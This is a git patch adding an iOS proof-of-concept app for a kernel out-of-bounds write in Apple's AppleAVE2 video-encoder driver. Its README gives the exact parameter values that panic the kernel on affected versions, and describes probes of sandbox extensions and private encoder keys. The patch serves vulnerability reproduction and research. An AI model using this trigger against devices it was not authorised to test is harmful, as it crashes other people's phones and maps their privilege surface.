From bc019e2b6c45b77e45cfb1fea2241860393900be Mon Sep 17 00:00:00 2001 From: JBJF Date: Fri, 30 Oct 2026 19:13:13 +0800 Subject: [PATCH] =?UTF-8?q?AVE27=20=E2=80=94=20standalone=20POC=20app=20fo?= =?UTF-8?q?r=20CVE-2026-112705=20(AppleAVE2=20NTL=20OOB=20write)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima): stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept - New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix, stage15 private-key entitlement audit (23 keys) - Panic journal: kern.boottime-based in-app panic evidence after reboot - Interactive SwiftUI console + NTL field + report share; header shows PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+ - App icon: temporal-layer stack, top layer displaced past the stack edge - scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+) --- .gitignore | 4 + Info.plist | 66 ++ README.md | 61 + .../AppIcon.appiconset/AppIcon-1024.png | Bin 0 -> 67994 bytes .../AppIcon.appiconset/Contents.json | 14 + Resources/Assets.xcassets/Contents.json | 6 + Sources/App.swift | 254 ++++ Sources/Explore.swift | 144 +++ Sources/Runner.swift | 1038 +++++++++++++++++ scripts/build-device.sh | 69 ++ scripts/gen_icon.py | 173 +++ 11 files changed, 1829 insertions(+) create mode 100644 .gitignore create mode 100644 Info.plist create mode 100644 README.md create mode 100644 Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png create mode 100644 Resources/Assets.xcassets/AppIcon.appiconset/Contents.json create mode 100644 Resources/Assets.xcassets/Contents.json create mode 100644 Sources/App.swift create mode 100644 Sources/Explore.swift create mode 100644 Sources/Runner.swift create mode 100755 scripts/build-device.sh create mode 100644 scripts/gen_icon.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..fdb1147 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +build/ +dist/ +*.ipa +.DS_Store diff --git a/Info.plist b/Info.plist new file mode 100644 index 0000000..60a81fb --- /dev/null +++ b/Info.plist @@ -0,0 +1,66 @@ + + + + + CFBundleDevelopmentRegion + en + CFBundleDisplayName + AVE27 + CFBundleExecutable + AVE27 + CFBundleIdentifier + com.jbjf.ave27 + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + AVE27 + CFBundlePackageType + APPL + CFBundleShortVersionString + 1.0 + CFBundleSupportedPlatforms + + iPhoneOS + + CFBundleVersion + 1 + DTPlatformName + iphoneos + DTPlatformVersion + 27.0 + DTSDKName + iphoneos27.0 + ITSAppUsesNonExemptEncryption + + LSRequiresIPhoneOS + + MinimumOSVersion + 17.0 + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + + UIFileSharingEnabled + + LSSupportsOpeningDocumentsInPlace + + UILaunchScreen + + UIRequiredDeviceCapabilities + + arm64 + + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + + diff --git a/README.md b/README.md new file mode 100644 index 0000000..a5437cd --- /dev/null +++ b/README.md @@ -0,0 +1,61 @@ +# AVE27 — standalone POC app for CVE-2026-112705 + +Standalone iOS app for **CVE-2026-112705** — AppleAVE2 kernel out-of-bounds write +via `NumberOfTemporalLayers` (VideoToolbox). Original discovery: Calif / Chollima +team; this app ports the reproduction from +[MchinaMd57764/AVETemporalPoC-CVE-2026-112705](https://github.com/MchinaMd57764/AVETemporalPoC-CVE-2026-112705) +into a self-contained, interactive harness and extends it with exploration stages. + +- Component: `com.apple.driver.AppleAVE2` (kernel) +- Type: kernel OOB write, fixed-offset constant fill — panic/DoS, **no** read/write primitive +- Affected: iOS 27.0 – 27.1 (24A446 line) +- Fixed: iOS 27.2 — `NTL` returns `-12900` at SetProperty, no panic +- Highest supported target: **iOS 27.1** + +## What the app does + +All nine original stages ported verbatim (props readback, encode trigger, property +fuzz, multi-PPS, layer-ID probe, bitstream dump, NTL ladder, per-rung parameter-set +capture, DPB-array overflow, UserDPB IOSurface table, H.264 slice-count decode, +MVHEVC ID validation, sandbox-extension probe), plus three new exploration stages: + +| Stage | What it maps | +|---|---| +| **stage9** | the panic trigger: `EncoderUsage=1` + `RCMode=20` + `NTL=16463` → first encode panics AppleAVE2 (kernel data abort, `far=0x59 x19=0x1`); 16462 survives | +| **stage13** | NTL threshold sweep, bottom-up, one session per rung — finds the exact landing rung; panic journal arms per rung | +| **stage14** | `EncoderUsage` × `RCMode` acceptance matrix at a safe layer count — which private mode selectors the driver honours from a stock app | +| **stage15** | private-key audit: 23 non-public VideoToolbox keys set from an unentitled sandboxed app; the accepted set is the privilege surface reaching AppleAVE2 | +| **SBE** | sandbox-extension issuance probe — can a third-party app issue read/write extensions for paths outside its container | +| panic journal | armed before every panic-capable encode; on next launch, an unfinished journal + changed `kern.boottime` = that run ended in a kernel panic, in-app, no console needed | + +Interactive UI: stage buttons, NTL field, live monospaced console, report share +sheet. Launch-argument mode keeps full parity with the original repo +(`--stage9 16463`, `--stage13`, `--fuzz`, `--sbext`, …). Report lands in +`Documents/ave_report.txt`, live oracle in `Documents/live.txt` — the last line +before a panic is `stage9(...) encode[0]`. + +## Building + +```bash +bash scripts/build-device.sh # → dist/AVE27-unsigned.ipa (arm64, iOS 17.0+, unsigned) +python3 scripts/gen_icon.py # regenerates the app icon (no image library needed) +``` + +Unsigned IPA — sign with your own certificate + provisioning profile, then +sideload. The simulator has no hardware encode path; panic stages need a real +device on 27.0/27.1. + +## Panic evidence workflow + +1. Launch → tap **stage9 panic** (or `--stage9 16463`). Device reboots. +2. Relaunch. The header still says PANIC-CAPABLE; the console opens with the + journal verdict: which stage, which rung, which boot — and points at + Settings → Privacy → Analytics for the matching `.ips`. +3. Export `ave_report.txt` / `live.txt` from Files → AVE27. + +## Credits & scope + +Original discovery and panic evidence: **Calif / Chollima team**, independent +reproduction by MchinaMd57764. This app reproduces a public, already-patched CVE +for verification and research on devices you own. It contains no exploitation +code — the defect is a fixed-offset constant fill with no read/write capability. diff --git a/Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png b/Resources/Assets.xcassets/AppIcon.appiconset/AppIcon-1024.png new file mode 100644 index 0000000000000000000000000000000000000000..ed3d5f10a15c3d7406fecd3bd7d59bb66436c8c5 GIT binary patch literal 67994 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 